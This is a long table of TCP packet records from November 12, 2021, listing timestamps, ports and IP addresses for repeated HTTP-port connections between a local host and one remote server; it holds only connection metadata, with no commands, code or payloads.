Nov 12, 2021 22:23:47.590683937 CET	80	49921	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.590871096 CET	49921	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.591779947 CET	80	49922	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.591901064 CET	49922	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.606173038 CET	49922	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.616893053 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.628663063 CET	80	49922	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.631705046 CET	80	49922	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.631797075 CET	49922	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.639338970 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.639432907 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.640499115 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.640903950 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.641149044 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.641344070 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.662803888 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.663109064 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.663470030 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.663505077 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.663518906 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.663535118 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.663547993 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.663548946 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.663583040 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.663588047 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.663595915 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.663604975 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.663631916 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.663655043 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.663681984 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.663701057 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.663719893 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.663728952 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.663753986 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.663779974 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.685935974 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.685967922 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.686019897 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.686034918 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.686036110 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.686054945 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.686069965 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.686074972 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.686086893 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.686105013 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.686137915 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.686146975 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.686161995 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.686176062 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.686188936 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.686194897 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.686208963 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.686213970 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.686228037 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.686230898 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.686247110 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.686252117 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.686269999 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.686275959 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.686285019 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.686295986 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.686307907 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.686323881 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.686331987 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.686340094 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.686358929 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.686372042 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.686408997 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.708436966 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.708561897 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.708621025 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.708637953 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.708655119 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.708672047 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.708683968 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.708689928 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.708710909 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.708717108 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.708726883 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.708745003 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.708745956 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.708780050 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.708821058 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.708837986 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.708903074 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.708920002 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.708940029 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.708956003 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.708971024 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.708990097 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.709002972 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.709018946 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.709033966 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.709048986 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.709091902 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.709110975 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.709125042 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.709162951 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.709203959 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.709220886 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.709235907 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.709289074 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.709291935 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.709323883 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.709348917 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.709366083 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.709381104 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.709395885 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.709413052 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.709430933 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.709446907 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.731086016 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.731127024 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.731245041 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.731286049 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.731323957 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.731456995 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.731482983 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.732585907 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.732610941 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.732626915 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.732652903 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.732677937 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.732697964 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.734055042 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.734167099 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.752955914 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.778225899 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.778450012 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.899810076 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.900172949 CET	49922	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.901906967 CET	49924	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.922966957 CET	80	49923	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.923006058 CET	80	49922	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.923099995 CET	49923	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.923149109 CET	49922	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.924457073 CET	80	49924	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.924587011 CET	49924	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:48.120229006 CET	49924	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:48.142956018 CET	80	49924	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:48.146908045 CET	80	49924	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:48.147099972 CET	49924	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.391570091 CET	49924	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.392788887 CET	49925	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.414416075 CET	80	49924	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.414504051 CET	49924	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.415366888 CET	80	49925	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.415508986 CET	49925	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.416085005 CET	49925	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.439075947 CET	80	49925	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.442693949 CET	80	49925	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.442908049 CET	49925	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.551503897 CET	49925	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.552735090 CET	49926	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.574203968 CET	80	49925	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.574438095 CET	49925	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.575036049 CET	80	49926	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.575170994 CET	49926	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.579570055 CET	49926	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.602653980 CET	80	49926	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.606867075 CET	80	49926	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.607049942 CET	49926	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.712433100 CET	49926	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.713517904 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.722724915 CET	49928	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.735004902 CET	80	49926	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.735105038 CET	49926	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.735840082 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.735958099 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.736486912 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.736641884 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.736844063 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.736985922 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.745347977 CET	80	49928	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.745517969 CET	49928	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.746018887 CET	49928	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.758936882 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.758992910 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.759337902 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.759362936 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.759373903 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.759382963 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.759392023 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.759404898 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.759413004 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.759514093 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.759546041 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.759576082 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.759598017 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.759605885 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.759618044 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.759665012 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.759702921 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.768481016 CET	80	49928	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.771595001 CET	80	49928	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.771722078 CET	49928	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.782021046 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.782069921 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.782097101 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.782138109 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.782165051 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.782176971 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.782219887 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.782238960 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.782257080 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.782274961 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.782303095 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.782330036 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.782356024 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.782382965 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.782407999 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.782434940 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.782463074 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.782502890 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.782545090 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.782582045 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.782610893 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.782639980 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.782672882 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.782685041 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.782710075 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.782738924 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.782768011 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.782795906 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.782825947 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.782850027 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.805373907 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.805433989 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.805453062 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.805478096 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.805505037 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.805541039 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.805572987 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.805593014 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.805634022 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.805665016 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.805691957 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.805726051 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.805741072 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.805777073 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.805804968 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.805838108 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.805864096 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.805891037 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.805923939 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.805938005 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.805965900 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.805994034 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.806020021 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.806046009 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.806072950 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.806098938 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.806126118 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.806152105 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.806176901 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.806205988 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.806232929 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.806257010 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.806283951 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.806312084 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.806338072 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.806366920 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.806391001 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.806498051 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.806525946 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.806554079 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.806580067 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.806607962 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.828788996 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.828911066 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.828955889 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.828991890 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.829072952 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.829250097 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.829293966 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.829328060 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.831891060 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.832003117 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.876460075 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.876885891 CET	49928	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.878552914 CET	49929	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.898902893 CET	80	49927	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.899020910 CET	49927	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.899235964 CET	80	49928	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.899350882 CET	49928	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.900921106 CET	80	49929	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.901088953 CET	49929	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.902368069 CET	49929	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:49.924786091 CET	80	49929	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.928647995 CET	80	49929	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:49.928744078 CET	49929	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.035887003 CET	49929	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.038119078 CET	49930	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.058381081 CET	80	49929	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.058479071 CET	49929	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.060568094 CET	80	49930	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.060693026 CET	49930	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.061553001 CET	49930	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.083981037 CET	80	49930	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.088759899 CET	80	49930	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.088898897 CET	49930	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.211044073 CET	49930	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.212485075 CET	49931	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.234954119 CET	80	49930	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.234987974 CET	80	49931	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.235420942 CET	49930	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.235497952 CET	49931	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.237103939 CET	49931	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.259661913 CET	80	49931	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.263988018 CET	80	49931	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.266850948 CET	49931	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.392525911 CET	49931	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.395389080 CET	49932	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.415160894 CET	80	49931	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.415961027 CET	49931	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.417675018 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.420965910 CET	49932	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.421726942 CET	49932	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.444024086 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.447038889 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.449846983 CET	49932	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.461623907 CET	49932	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.461782932 CET	49932	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.462085962 CET	49932	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.462224007 CET	49932	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.484772921 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.485335112 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.485358000 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.485374928 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.485394001 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.485409975 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.485496044 CET	49932	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.485570908 CET	49932	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.507836103 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.507844925 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.507873058 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.507889986 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.507904053 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.508035898 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.508053064 CET	80	49932	178.208.83.45	192.168.2.4
